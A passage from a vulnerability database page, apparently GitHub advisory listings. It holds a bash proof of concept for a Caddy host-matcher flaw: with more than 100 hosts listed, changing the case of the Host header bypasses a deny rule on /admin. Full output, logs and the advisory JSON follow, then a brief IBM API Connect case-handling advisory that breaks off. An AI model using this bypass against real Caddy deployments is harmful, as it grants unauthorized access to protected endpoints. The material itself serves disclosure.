    kill "${CADDY_PID}" 2>/dev/null || true
    wait "${CADDY_PID}" 2>/dev/null || true
  fi
  rm -rf "${TMPDIR}" 2>/dev/null || true
}
trap cleanup EXIT

if [ ! -x "${CADDY_BIN}" ]; then
  echo "error: missing caddy binary at ${CADDY_BIN}" >&2
  exit 2
fi

echo "== Caddy version =="
"${CADDY_BIN}" version

cat >"${CADDYFILE}" <<EOF
{
    debug
}

:${PORT} {
    log
    @protected {
        host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test
        path /admin
    }
    respond @protected "DENY" 403
    respond "ALLOW" 200
}
EOF

echo
echo "== Caddyfile =="
cat "${CADDYFILE}"

echo
echo "== Start Caddy (debug + capture logs) =="
echo "cmd: ${CADDY_BIN} run --config ${CADDYFILE} --adapter caddyfile"
"${CADDY_BIN}" run --config "${CADDYFILE}" --adapter caddyfile >"${LOG}" 2>&1 &
CADDY_PID="$!"

sleep 2

echo
echo "== Request 1 (baseline - expect deny) =="
echo "cmd: curl -v -H 'Host: h050.test' http://${HOST}:${PORT}/admin"
curl -v -H "Host: h050.test" "http://${HOST}:${PORT}/admin" 2>&1 || true

echo
echo "== Request 2 (BYPASS - expect allow) =="
echo "cmd: curl -v -H 'Host: H050.TEST' http://${HOST}:${PORT}/admin"
curl -v -H "Host: H050.TEST" "http://${HOST}:${PORT}/admin" 2>&1 || true

echo
echo "== Stop Caddy =="
kill "${CADDY_PID}" 2>/dev/null || true
wait "${CADDY_PID}" 2>/dev/null || true

echo
echo "== Full Caddy debug log =="
cat "${LOG}"

Expected output (Click to expand)
== Caddy version ==
v2.10.2 h1:g/gTYjGMD0dec+UgMw8SnfmJ3I9+M2TdvoRL/Ovu6U8=

== Caddyfile ==
{
    debug
}

:8080 {
    log
    @protected {
        host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test
        path /admin
    }
    respond @protected "DENY" 403
    respond "ALLOW" 200
}

== Start Caddy (debug + capture logs) ==
cmd: /opt/caddy-2.10.2/caddy run --config /tmp/tmp.3BN6rgj9yF/Caddyfile --adapter caddyfile

== Request 1 (baseline - expect deny) ==
cmd: curl -v -H 'Host: h050.test' http://127.0.0.1:8080/admin
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
* using HTTP/1.x
> GET /admin HTTP/1.1
> Host: h050.test
> User-Agent: curl/8.15.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 403 Forbidden
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Sun, 08 Feb 2026 22:09:09 GMT
< Content-Length: 4
<
* Connection #0 to host 127.0.0.1 left intact
DENY
== Request 2 (BYPASS - expect allow) ==
cmd: curl -v -H 'Host: H050.TEST' http://127.0.0.1:8080/admin
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
* using HTTP/1.x
> GET /admin HTTP/1.1
> Host: H050.TEST
> User-Agent: curl/8.15.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Sun, 08 Feb 2026 22:09:09 GMT
< Content-Length: 5
<
* Connection #0 to host 127.0.0.1 left intact
ALLOW
== Stop Caddy ==

== Full Caddy debug log ==
{"level":"info","ts":1770588548.012352,"msg":"maxprocs: Leaving GOMAXPROCS=4: CPU quota undefined"}
{"level":"info","ts":1770588548.0125406,"msg":"GOMEMLIMIT is updated","package":"github.com/KimMachineGun/automemlimit/memlimit","GOMEMLIMIT":1844136345,"previous":9223372036854775807}
{"level":"info","ts":1770588548.0125597,"msg":"using config from file","file":"/tmp/tmp.3BN6rgj9yF/Caddyfile"}
{"level":"info","ts":1770588548.0131946,"msg":"adapted config to JSON","adapter":"caddyfile"}
{"level":"warn","ts":1770588548.013202,"msg":"Caddyfile input is not formatted; run 'caddy fmt --overwrite' to fix inconsistencies","adapter":"caddyfile","file":"/tmp/tmp.3BN6rgj9yF/Caddyfile","line":2}
{"level":"info","ts":1770588548.0139973,"logger":"admin","msg":"admin endpoint started","address":"localhost:2019","enforce_origin":false,"origins":["//127.0.0.1:2019","//localhost:2019","//[::1]:2019"]}
{"level":"debug","ts":1770588548.0140707,"logger":"http.auto_https","msg":"adjusted config","tls":{"automation":{"policies":[{}]}},"http":{"servers":{"srv0":{"listen":[":8080"],"routes":[{"handle":[{"handler":"subroute","routes":[{"handle":[{"body":"DENY","handler":"static_response","status_code":403}],"match":[{"host":["h001.test","h002.test","h003.test","h004.test","h005.test","h006.test","h007.test","h008.test","h009.test","h010.test","h011.test","h012.test","h013.test","h014.test","h015.test","h016.test","h017.test","h018.test","h019.test","h020.test","h021.test","h022.test","h023.test","h024.test","h025.test","h026.test","h027.test","h028.test","h029.test","h030.test","h031.test","h032.test","h033.test","h034.test","h035.test","h036.test","h037.test","h038.test","h039.test","h040.test","h041.test","h042.test","h043.test","h044.test","h045.test","h046.test","h047.test","h048.test","h049.test","h050.test","h051.test","h052.test","h053.test","h054.test","h055.test","h056.test","h057.test","h058.test","h059.test","h060.test","h061.test","h062.test","h063.test","h064.test","h065.test","h066.test","h067.test","h068.test","h069.test","h070.test","h071.test","h072.test","h073.test","h074.test","h075.test","h076.test","h077.test","h078.test","h079.test","h080.test","h081.test","h082.test","h083.test","h084.test","h085.test","h086.test","h087.test","h088.test","h089.test","h090.test","h091.test","h092.test","h093.test","h094.test","h095.test","h096.test","h097.test","h098.test","h099.test","h100.test","h101.test"],"path":["/admin"]}]},{"handle":[{"body":"ALLOW","handler":"static_response","status_code":200}]}]}],"terminal":true}],"automatic_https":{},"logs":{}}}}}
{"level":"info","ts":1770588548.0143135,"logger":"tls.cache.maintenance","msg":"started background certificate maintenance","cache":"0xc0000d7c80"}
{"level":"debug","ts":1770588548.0143793,"logger":"http","msg":"starting server loop","address":"[::]:8080","tls":false,"http3":false}
{"level":"warn","ts":1770588548.014415,"logger":"http","msg":"HTTP/2 skipped because it requires TLS","network":"tcp","addr":":8080"}
{"level":"warn","ts":1770588548.0144184,"logger":"http","msg":"HTTP/3 skipped because it requires TLS","network":"tcp","addr":":8080"}
{"level":"info","ts":1770588548.0144203,"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"level":"debug","ts":1770588548.014438,"logger":"events","msg":"event","name":"started","id":"1c7f6534-d264-456d-988d-e9f77a099c42","origin":"","data":null}
{"level":"info","ts":1770588548.0145273,"msg":"autosaved config (load with --resume flag)","file":"/home/vh/.config/caddy/autosave.json"}
{"level":"info","ts":1770588548.0145316,"msg":"serving initial configuration"}
{"level":"info","ts":1770588548.0274432,"logger":"tls","msg":"storage cleaning happened too recently; skipping for now","storage":"FileStorage:/home/vh/.local/share/caddy","instance":"a259f82d-3c7c-4706-9ca8-17456b4af729","try_again":1770674948.0274422,"try_again_in":86399.999999709}
{"level":"info","ts":1770588548.0275078,"logger":"tls","msg":"finished cleaning storage units"}
{"level":"info","ts":1770588549.9694445,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"127.0.0.1","remote_port":"53220","client_ip":"127.0.0.1","proto":"HTTP/1.1","method":"GET","host":"h050.test","uri":"/admin","headers":{"User-Agent":["curl/8.15.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.000014857,"size":4,"status":403,"resp_headers":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}}
{"level":"info","ts":1770588549.9741833,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"127.0.0.1","remote_port":"53234","client_ip":"127.0.0.1","proto":"HTTP/1.1","method":"GET","host":"H050.TEST","uri":"/admin","headers":{"Accept":["*/*"],"User-Agent":["curl/8.15.0"]}},"bytes_read":0,"user_id":"","duration":0.00000551,"size":5,"status":200,"resp_headers":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}}
{"level":"info","ts":1770588549.9751372,"msg":"shutting down apps, then terminating","signal":"SIGTERM"}
{"level":"warn","ts":1770588549.9751456,"msg":"exiting; byeee!! 👋","signal":"SIGTERM"}
{"level":"debug","ts":1770588549.9751775,"logger":"events","msg":"event","name":"stopping","id":"e02c5e64-9d76-48b6-a967-4f003850bdd4","origin":"","data":null}
{"level":"info","ts":1770588549.9751873,"logger":"http","msg":"servers shutting down with eternal grace period"}
{"level":"info","ts":1770588549.975331,"logger":"admin","msg":"stopped previous server","address":"localhost:2019"}
{"level":"info","ts":1770588549.9753368,"msg":"shutdown complete","signal":"SIGTERM","exit_code":0}

Impact

This is a route/auth bypass in Caddy's request-matching layer. Any internet-exposed Caddy deployment that relies on host matchers with large host lists (>100) to select protected routes (e.g. applying basicauth, forward_auth, respond deny rules, or protecting reverse_proxy backends) can be bypassed by varying the case of the Host header, allowing unauthorized access to sensitive endpoints depending on upstream configuration.

The reproduction is minimal per the reporting guidance; a realistic "full" scenario is Caddy fronting a multi-tenant app and doing forward_auth/basicauth/deny for /admin only when host is in a big (>100) allowlist, but the default handler still reverse_proxying to the same app. Then sending Host: H050.TEST skips the guarded route in Caddy, yet the upstream still treats it as the same tenant host --> /admin is reachable without the intended guard.

AI Use Disclosure

A custom AI agent pipeline was used to discover the vulnerability, after which was manually reproduced and validated each step. The entire report was ran through an LLM for editing.

Disclosure/crediting

Asim Viladi Oglu Manizada

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/caddyserver/caddy/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27588"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-24T20:34:01Z",
    "nvd_published_at": "2026-02-24T17:29:04Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nCaddy\u0027s HTTP `host` request matcher is documented as case-insensitive, but when configured with a large host list (\u003e100 entries) it becomes case-sensitive due to an optimized matching path. An attacker can bypass host-based routing and any access controls attached to that route by changing the casing of the `Host` header.\n\n### Details\nIn Caddy `v2.10.2`, the `MatchHost` matcher states it matches the Host value case-insensitively:\n\n- `modules/caddyhttp/matchers.go`: `type MatchHost matches requests by the Host value (case-insensitive).`\n\nHowever, in `MatchHost.MatchWithError`, when the host list is considered \"large\" (`len(m) \u003e 100`):\n\n- `MatchHost.large()` returns true for `len(m) \u003e 100` (`modules/caddyhttp/matchers.go`, around the `large()` helper).\n- The matcher takes a \"fast path\" using binary search over the sorted host list, and checks for an exact match using a case-sensitive string comparison (`m[pos] == reqHost`).\n- After the fast path fails, the fallback loop short-circuits for large lists by breaking as soon as it reaches the first non-fuzzy entry. For configs comprised of exact hostnames only (no wildcards/placeholders), this prevents the `strings.EqualFold(reqHost, host)` check from ever running.\n\nNet effect: with a host list length of 101 or more, changing only the casing of the incoming `Host` header can cause the `host` matcher to not match when it should.\n\n#### Suggested fix\n- Normalize exact hostnames to lower-case during `MatchHost.Provision` (at least for non-fuzzy entries).\n- Normalize the incoming request host (`reqHost`) to lower-case before the large-list binary search + equality check, so the optimized path stays case-insensitive.\n\nReproduced on:\n- Stable release: `v2.10.2` -- this is the release I reference in the repro below.\n- Dev build: `v2.11.0-beta.2`.\n- Master tip: commit `58968b3fd38cacbf4b5e07cc8c8be27696dce60f`.\n\n### PoC\nPrereqs:\n- bash, curl\n- A pre-built Caddy binary available at `/opt/caddy-2.10.2/caddy` (edit `CADDY_BIN` in the script if needed)\n\n\u003cdetails\u003e\n\u003csummary\u003eScript (Click to expand)\u003c/summary\u003e\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nCADDY_BIN=\"/opt/caddy-2.10.2/caddy\"\nHOST=\"127.0.0.1\"\nPORT=\"8080\"\n\nTMPDIR=\"$(mktemp -d)\"\nCADDYFILE=\"${TMPDIR}/Caddyfile\"\nLOG=\"${TMPDIR}/caddy.log\"\n\ncleanup() {\n  if [ -n \"${CADDY_PID:-}\" ] \u0026\u0026 kill -0 \"${CADDY_PID}\" 2\u003e/dev/null; then\n    kill \"${CADDY_PID}\" 2\u003e/dev/null || true\n    wait \"${CADDY_PID}\" 2\u003e/dev/null || true\n  fi\n  rm -rf \"${TMPDIR}\" 2\u003e/dev/null || true\n}\ntrap cleanup EXIT\n\nif [ ! -x \"${CADDY_BIN}\" ]; then\n  echo \"error: missing caddy binary at ${CADDY_BIN}\" \u003e\u00262\n  exit 2\nfi\n\necho \"== Caddy version ==\"\n\"${CADDY_BIN}\" version\n\ncat \u003e\"${CADDYFILE}\" \u003c\u003cEOF\n{\n    debug\n}\n\n:${PORT} {\n    log\n    @protected {\n        host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test\n        path /admin\n    }\n    respond @protected \"DENY\" 403\n    respond \"ALLOW\" 200\n}\nEOF\n\necho\necho \"== Caddyfile ==\"\ncat \"${CADDYFILE}\"\n\necho\necho \"== Start Caddy (debug + capture logs) ==\"\necho \"cmd: ${CADDY_BIN} run --config ${CADDYFILE} --adapter caddyfile\"\n\"${CADDY_BIN}\" run --config \"${CADDYFILE}\" --adapter caddyfile \u003e\"${LOG}\" 2\u003e\u00261 \u0026\nCADDY_PID=\"$!\"\n\nsleep 2\n\necho\necho \"== Request 1 (baseline - expect deny) ==\"\necho \"cmd: curl -v -H \u0027Host: h050.test\u0027 http://${HOST}:${PORT}/admin\"\ncurl -v -H \"Host: h050.test\" \"http://${HOST}:${PORT}/admin\" 2\u003e\u00261 || true\n\necho\necho \"== Request 2 (BYPASS - expect allow) ==\"\necho \"cmd: curl -v -H \u0027Host: H050.TEST\u0027 http://${HOST}:${PORT}/admin\"\ncurl -v -H \"Host: H050.TEST\" \"http://${HOST}:${PORT}/admin\" 2\u003e\u00261 || true\n\necho\necho \"== Stop Caddy ==\"\nkill \"${CADDY_PID}\" 2\u003e/dev/null || true\nwait \"${CADDY_PID}\" 2\u003e/dev/null || true\n\necho\necho \"== Full Caddy debug log ==\"\ncat \"${LOG}\"\n\n```\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003eExpected output (Click to expand)\u003c/summary\u003e\n\n```bash\n== Caddy version ==\nv2.10.2 h1:g/gTYjGMD0dec+UgMw8SnfmJ3I9+M2TdvoRL/Ovu6U8=\n\n== Caddyfile ==\n{\n    debug\n}\n\n:8080 {\n    log\n    @protected {\n        host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test\n        path /admin\n    }\n    respond @protected \"DENY\" 403\n    respond \"ALLOW\" 200\n}\n\n== Start Caddy (debug + capture logs) ==\ncmd: /opt/caddy-2.10.2/caddy run --config /tmp/tmp.3BN6rgj9yF/Caddyfile --adapter caddyfile\n\n== Request 1 (baseline - expect deny) ==\ncmd: curl -v -H \u0027Host: h050.test\u0027 http://127.0.0.1:8080/admin\n*   Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n* using HTTP/1.x\n\u003e GET /admin HTTP/1.1\n\u003e Host: h050.test\n\u003e User-Agent: curl/8.15.0\n\u003e Accept: */*\n\u003e\n* Request completely sent off\n\u003c HTTP/1.1 403 Forbidden\n\u003c Content-Type: text/plain; charset=utf-8\n\u003c Server: Caddy\n\u003c Date: Sun, 08 Feb 2026 22:09:09 GMT\n\u003c Content-Length: 4\n\u003c\n* Connection #0 to host 127.0.0.1 left intact\nDENY\n== Request 2 (BYPASS - expect allow) ==\ncmd: curl -v -H \u0027Host: H050.TEST\u0027 http://127.0.0.1:8080/admin\n*   Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n* using HTTP/1.x\n\u003e GET /admin HTTP/1.1\n\u003e Host: H050.TEST\n\u003e User-Agent: curl/8.15.0\n\u003e Accept: */*\n\u003e\n\u003c HTTP/1.1 200 OK\n\u003c Content-Type: text/plain; charset=utf-8\n\u003c Server: Caddy\n\u003c Date: Sun, 08 Feb 2026 22:09:09 GMT\n\u003c Content-Length: 5\n\u003c\n* Connection #0 to host 127.0.0.1 left intact\nALLOW\n== Stop Caddy ==\n\n== Full Caddy debug log ==\n{\"level\":\"info\",\"ts\":1770588548.012352,\"msg\":\"maxprocs: Leaving GOMAXPROCS=4: CPU quota undefined\"}\n{\"level\":\"info\",\"ts\":1770588548.0125406,\"msg\":\"GOMEMLIMIT is updated\",\"package\":\"github.com/KimMachineGun/automemlimit/memlimit\",\"GOMEMLIMIT\":1844136345,\"previous\":9223372036854775807}\n{\"level\":\"info\",\"ts\":1770588548.0125597,\"msg\":\"using config from file\",\"file\":\"/tmp/tmp.3BN6rgj9yF/Caddyfile\"}\n{\"level\":\"info\",\"ts\":1770588548.0131946,\"msg\":\"adapted config to JSON\",\"adapter\":\"caddyfile\"}\n{\"level\":\"warn\",\"ts\":1770588548.013202,\"msg\":\"Caddyfile input is not formatted; run \u0027caddy fmt --overwrite\u0027 to fix inconsistencies\",\"adapter\":\"caddyfile\",\"file\":\"/tmp/tmp.3BN6rgj9yF/Caddyfile\",\"line\":2}\n{\"level\":\"info\",\"ts\":1770588548.0139973,\"logger\":\"admin\",\"msg\":\"admin endpoint started\",\"address\":\"localhost:2019\",\"enforce_origin\":false,\"origins\":[\"//127.0.0.1:2019\",\"//localhost:2019\",\"//[::1]:2019\"]}\n{\"level\":\"debug\",\"ts\":1770588548.0140707,\"logger\":\"http.auto_https\",\"msg\":\"adjusted config\",\"tls\":{\"automation\":{\"policies\":[{}]}},\"http\":{\"servers\":{\"srv0\":{\"listen\":[\":8080\"],\"routes\":[{\"handle\":[{\"handler\":\"subroute\",\"routes\":[{\"handle\":[{\"body\":\"DENY\",\"handler\":\"static_response\",\"status_code\":403}],\"match\":[{\"host\":[\"h001.test\",\"h002.test\",\"h003.test\",\"h004.test\",\"h005.test\",\"h006.test\",\"h007.test\",\"h008.test\",\"h009.test\",\"h010.test\",\"h011.test\",\"h012.test\",\"h013.test\",\"h014.test\",\"h015.test\",\"h016.test\",\"h017.test\",\"h018.test\",\"h019.test\",\"h020.test\",\"h021.test\",\"h022.test\",\"h023.test\",\"h024.test\",\"h025.test\",\"h026.test\",\"h027.test\",\"h028.test\",\"h029.test\",\"h030.test\",\"h031.test\",\"h032.test\",\"h033.test\",\"h034.test\",\"h035.test\",\"h036.test\",\"h037.test\",\"h038.test\",\"h039.test\",\"h040.test\",\"h041.test\",\"h042.test\",\"h043.test\",\"h044.test\",\"h045.test\",\"h046.test\",\"h047.test\",\"h048.test\",\"h049.test\",\"h050.test\",\"h051.test\",\"h052.test\",\"h053.test\",\"h054.test\",\"h055.test\",\"h056.test\",\"h057.test\",\"h058.test\",\"h059.test\",\"h060.test\",\"h061.test\",\"h062.test\",\"h063.test\",\"h064.test\",\"h065.test\",\"h066.test\",\"h067.test\",\"h068.test\",\"h069.test\",\"h070.test\",\"h071.test\",\"h072.test\",\"h073.test\",\"h074.test\",\"h075.test\",\"h076.test\",\"h077.test\",\"h078.test\",\"h079.test\",\"h080.test\",\"h081.test\",\"h082.test\",\"h083.test\",\"h084.test\",\"h085.test\",\"h086.test\",\"h087.test\",\"h088.test\",\"h089.test\",\"h090.test\",\"h091.test\",\"h092.test\",\"h093.test\",\"h094.test\",\"h095.test\",\"h096.test\",\"h097.test\",\"h098.test\",\"h099.test\",\"h100.test\",\"h101.test\"],\"path\":[\"/admin\"]}]},{\"handle\":[{\"body\":\"ALLOW\",\"handler\":\"static_response\",\"status_code\":200}]}]}],\"terminal\":true}],\"automatic_https\":{},\"logs\":{}}}}}\n{\"level\":\"info\",\"ts\":1770588548.0143135,\"logger\":\"tls.cache.maintenance\",\"msg\":\"started background certificate maintenance\",\"cache\":\"0xc0000d7c80\"}\n{\"level\":\"debug\",\"ts\":1770588548.0143793,\"logger\":\"http\",\"msg\":\"starting server loop\",\"address\":\"[::]:8080\",\"tls\":false,\"http3\":false}\n{\"level\":\"warn\",\"ts\":1770588548.014415,\"logger\":\"http\",\"msg\":\"HTTP/2 skipped because it requires TLS\",\"network\":\"tcp\",\"addr\":\":8080\"}\n{\"level\":\"warn\",\"ts\":1770588548.0144184,\"logger\":\"http\",\"msg\":\"HTTP/3 skipped because it requires TLS\",\"network\":\"tcp\",\"addr\":\":8080\"}\n{\"level\":\"info\",\"ts\":1770588548.0144203,\"logger\":\"http.log\",\"msg\":\"server running\",\"name\":\"srv0\",\"protocols\":[\"h1\",\"h2\",\"h3\"]}\n{\"level\":\"debug\",\"ts\":1770588548.014438,\"logger\":\"events\",\"msg\":\"event\",\"name\":\"started\",\"id\":\"1c7f6534-d264-456d-988d-e9f77a099c42\",\"origin\":\"\",\"data\":null}\n{\"level\":\"info\",\"ts\":1770588548.0145273,\"msg\":\"autosaved config (load with --resume flag)\",\"file\":\"/home/vh/.config/caddy/autosave.json\"}\n{\"level\":\"info\",\"ts\":1770588548.0145316,\"msg\":\"serving initial configuration\"}\n{\"level\":\"info\",\"ts\":1770588548.0274432,\"logger\":\"tls\",\"msg\":\"storage cleaning happened too recently; skipping for now\",\"storage\":\"FileStorage:/home/vh/.local/share/caddy\",\"instance\":\"a259f82d-3c7c-4706-9ca8-17456b4af729\",\"try_again\":1770674948.0274422,\"try_again_in\":86399.999999709}\n{\"level\":\"info\",\"ts\":1770588548.0275078,\"logger\":\"tls\",\"msg\":\"finished cleaning storage units\"}\n{\"level\":\"info\",\"ts\":1770588549.9694445,\"logger\":\"http.log.access\",\"msg\":\"handled request\",\"request\":{\"remote_ip\":\"127.0.0.1\",\"remote_port\":\"53220\",\"client_ip\":\"127.0.0.1\",\"proto\":\"HTTP/1.1\",\"method\":\"GET\",\"host\":\"h050.test\",\"uri\":\"/admin\",\"headers\":{\"User-Agent\":[\"curl/8.15.0\"],\"Accept\":[\"*/*\"]}},\"bytes_read\":0,\"user_id\":\"\",\"duration\":0.000014857,\"size\":4,\"status\":403,\"resp_headers\":{\"Server\":[\"Caddy\"],\"Content-Type\":[\"text/plain; charset=utf-8\"]}}\n{\"level\":\"info\",\"ts\":1770588549.9741833,\"logger\":\"http.log.access\",\"msg\":\"handled request\",\"request\":{\"remote_ip\":\"127.0.0.1\",\"remote_port\":\"53234\",\"client_ip\":\"127.0.0.1\",\"proto\":\"HTTP/1.1\",\"method\":\"GET\",\"host\":\"H050.TEST\",\"uri\":\"/admin\",\"headers\":{\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.15.0\"]}},\"bytes_read\":0,\"user_id\":\"\",\"duration\":0.00000551,\"size\":5,\"status\":200,\"resp_headers\":{\"Server\":[\"Caddy\"],\"Content-Type\":[\"text/plain; charset=utf-8\"]}}\n{\"level\":\"info\",\"ts\":1770588549.9751372,\"msg\":\"shutting down apps, then terminating\",\"signal\":\"SIGTERM\"}\n{\"level\":\"warn\",\"ts\":1770588549.9751456,\"msg\":\"exiting; byeee!! \ud83d\udc4b\",\"signal\":\"SIGTERM\"}\n{\"level\":\"debug\",\"ts\":1770588549.9751775,\"logger\":\"events\",\"msg\":\"event\",\"name\":\"stopping\",\"id\":\"e02c5e64-9d76-48b6-a967-4f003850bdd4\",\"origin\":\"\",\"data\":null}\n{\"level\":\"info\",\"ts\":1770588549.9751873,\"logger\":\"http\",\"msg\":\"servers shutting down with eternal grace period\"}\n{\"level\":\"info\",\"ts\":1770588549.975331,\"logger\":\"admin\",\"msg\":\"stopped previous server\",\"address\":\"localhost:2019\"}\n{\"level\":\"info\",\"ts\":1770588549.9753368,\"msg\":\"shutdown complete\",\"signal\":\"SIGTERM\",\"exit_code\":0}\n```\n\u003c/details\u003e\n\n### Impact\nThis is a route/auth bypass in Caddy\u0027s request-matching layer. Any internet-exposed Caddy deployment that relies on `host` matchers with large host lists (\u003e100) to select protected routes (e.g. applying `basicauth`, `forward_auth`, `respond` deny rules, or protecting `reverse_proxy` backends) can be bypassed by varying the case of the `Host` header, allowing unauthorized access to sensitive endpoints depending on upstream configuration.\n\nThe reproduction is minimal per the reporting guidance; a realistic \"full\" scenario is Caddy fronting a multi-tenant app and doing `forward_auth`/`basicauth`/`deny` for `/admin` only when host is in a big (\u003e100) allowlist, but the default handler still `reverse_proxy`ing to the same app. Then sending `Host: H050.TEST` skips the guarded route in Caddy, yet the upstream still treats it as the same tenant host --\u003e `/admin` is reachable without the intended guard.\n\n\n### AI Use Disclosure\nA custom AI agent pipeline was used to discover the vulnerability, after which was manually reproduced and validated each step. The entire report was ran through an LLM for editing.\n\n### Disclosure/crediting\n\nAsim Viladi Oglu Manizada",
  "id": "GHSA-x76f-jf84-rqj8",
  "modified": "2026-02-27T19:53:54Z",
  "published": "2026-02-24T20:34:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-x76f-jf84-rqj8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27588"
    },
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/commit/eec32a0bb5a11651c6a7b04ce82dc50610f2b27e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/caddyserver/caddy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/releases/tag/v2.11.1"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4541"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Caddy: MatchHost becomes case-sensitive for large host lists (\u003e100), enabling host-based route/auth bypass"
}

GHSA-XJG4-PP96-VM6J

Vulnerability from github – Published: 2026-11-07 06:31 – Updated: 2026-11-07 06:31
VLAI
Details

IBM API Connect 10.0.8.0 through 10.0.8.12 and 12.1.0.0 through 12.1.1.2 could allow a remote authenticated attacker to bypass security restrictions due to improper handling of case sensitivity. An access restriction is not applied consistently to all variations of the input, which could allow it to be circumvented and unauthorized emails to be sent.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-17085"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-11-07T05:18:24Z",
    "severity": "MODERATE"
  },
  "details": "IBM API Connect 10.0.8.0 through 10.0.8.12 and 12.1.0.0 through 12.1.1.2 could allow a remote authenticated attacker to bypass security restrictions due to improper handling of case sensitivity. An access restriction is not applied consistently to all variations of the input, which could allow it to be circumvented and unauthorized emails to be sent.",
  "id": "GHSA-xjg4-pp96-vm6j",
  "modified": "2026-11-07T06:31:16Z",
  "published": "2026-11-07T06:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
